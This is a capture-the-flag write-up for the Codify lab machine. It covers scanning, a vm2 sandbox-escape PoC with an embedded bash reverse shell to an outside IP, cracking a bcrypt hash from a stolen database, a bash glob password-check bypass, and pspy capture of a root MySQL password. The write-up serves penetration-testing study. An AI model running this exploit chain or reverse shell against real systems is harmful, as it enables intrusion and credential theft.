Codify

Nmap :p

nmap -sC -sV 10.129.69.71
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52
3000/tcp open  http    Node.js Express framework

The website is an online Node.js code editor that runs your code “in a sandbox”. Right off the rip, the About page tells us the sandbox is the vm2 library, and which version they’re running, so we can search for CVEs for vm2 3.9.16.

Foothold

vm2 3.9.16 has a sandbox escape, CVE-2023-30547. The bug is in how vm2 handles exceptions: if you throw an error inside the sandbox in a weird way, you can get hold of a function from outside the sandbox and use it to reach Node’s process, which means we can run system commands.

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

We paste the PoC into the editor with our reverse shell where it runs execSync:

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync("bash -c 'bash -i >& /dev/tcp/10.10.17.229/4444 0>&1'");
}

With a listener running, hitting Run gives us a shell as svc.

User

Navigating around, we find a tickets.db file in /var/www/contact, which is the database for another web app. I spun up a python web server on the box and pulled it to kali:

svc@codify:/var/www/contact$ python3 -m http.server 8000
wget http://10.129.69.71:8000/tickets.db
sqlite3 tickets.db
sqlite> SELECT * FROM users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

This gives us a bcrypt hash for joshua that we can just crack with hashcat:

echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > josh.txt
hashcat -m 3200 -a 0 josh.txt /usr/share/wordlists/rockyou.txt

We get the password spongebob1 and can SSH in as joshua for the user flag.

Privesc

sudo -l shows joshua can run a backup script as root:

joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
...

What’s wrong with this? Look at the password check:

if [[ $DB_PASS == $USER_PASS ]]; then

Inside [[ ]] in bash, when the right side of == isn’t in quotes, it gets treated as a pattern and not a plain string. So if we type * when prompted for the password, it’s checking if the real password matches “anything”, which it always does. That lets us through without knowing the password:

joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
Backing up database: mysql
Backing up database: sys
All databases backed up successfully!
Changing the permissions
Done!

That works and lets us run the script, but we still can’t read the backups it makes, so that’s not the angle. Looking back at the script, the more interesting line is this:

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" ...)

The real root password from /root/.creds gets passed to mysql on the command line. On Linux, any user can see the command line of every running process. I tried catching it with ps aux but the command finishes too fast, so we move to a better option, pspy, which watches for new processes in real time.

In one session as joshua we run pspy:

joshua@codify:/tmp$ chmod +x pspy64
joshua@codify:/tmp$ ./pspy64

And in another session we run the script again with * as the password:

sudo /opt/scripts/mysql-backup.sh

pspy shows us:

2026/09/13 09:22:56 CMD: UID=0     PID=2417   | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;

Bingo. That password is reused for the root account, so we can su root and grab the root flag.

Ez gg.